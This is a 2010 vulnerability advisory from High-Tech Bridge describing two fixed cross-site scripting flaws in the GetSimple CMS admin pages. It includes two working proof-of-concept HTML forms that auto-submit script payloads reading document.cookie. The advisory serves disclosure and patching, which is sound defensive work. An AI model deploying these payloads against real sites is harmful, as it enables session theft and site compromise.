Multiple Cross-site Scripting Vulnerabilities in GetSimple CMS
| Advisory ID: | HTB22375 |
| Product: | GetSimple CMS |
| Vendor: | Cagintranet Networks |
| Vulnerable Versions: | 2.01 and probably prior |
| Tested Version: | 2.01 |
| Advisory Publication: | May 10, 2010 [without technical details] |
| Vendor Notification: | May 10, 2010 |
| Public Disclosure: | May 24, 2010 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79] |
| CVE References: | CVE-2010-5052
CVE-2010-4863 |
| Risk Level: | Low |
|  |
| CVSSv2 Base Scores: | 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered two vulnerabilities in GetSimple CMS which could be exploited to perform cross-site scripting attacks.
1) Cross-site scripting vulnerability in GetSimple CMS: CVE-2010-5052
The vulnerability exists due to input sanitation error in the "val[]" parameter in /admin/components.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/admin/components.php" method="post" name="main" accept-charset="utf-8" >
<input type="hidden" name="submitted" value="Save Components" />
<input name="val[]" type="hidden" value='Some text here..."><script>alert(document.cookie)</script>' />
<input type="hidden" name="slug[]" value="sidebar" />
<input type="hidden" name="title[]" value="Sidebar" />
<input type="hidden" name="id[]" value="0" />
<input type="hidden" name="val[]" value="Just Another GetSimple Website" />
<input type="hidden" name="slug[]" value="tagline" />
<input type="hidden" name="title[]" value="Tagline" />
<input type="hidden" name="id[]" value="1" />
</form>
<script>
document.main.submit();
</script>
2) Cross-site scripting vulnerability in GetSimple CMS: CVE-2010-4863
The vulnerability exists due to input sanitation error in the "post-title" parameter in /admin/changedata.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/admin/changedata.php" method="post" name="main" >
<input type="hidden" name="post-title" value='page title"><script>alert(document.cookie)</script>' />
<input type="hidden" name="post-id" value="test" />
<input type="hidden" name="post-metak" value="" />
<input type="hidden" name="post-metad" value="" />
<input type="hidden" name="post-parent" value="" />
<input type="hidden" name="post-template" value="template.php" />
<input type="hidden" name="post-menu" value="test" />
<input type="hidden" name="post-menu-order" value="" />
<input type="hidden" name="post-content" value="page html" />
<input type="hidden" name="existing-url" value="test" />
<input type="hidden" name="submitted" value="Save Updates" />
</form>
<script>
document.main.submit();
</script> |
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Solution: |
| Upgrade to the most recent version |
| |
References: |
[1] High-Tech Bridge Advisory HTB22375 - https://www.immuniweb.com/advisory/HTB22375 - Multiple Cross-site Scripting Vulnerabilities in GetSimple CMS
[2] GetSimple CMS - get-simple.info - GetSimple is an XML based, stand-a-alone, fully independant and lite Content Management System.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
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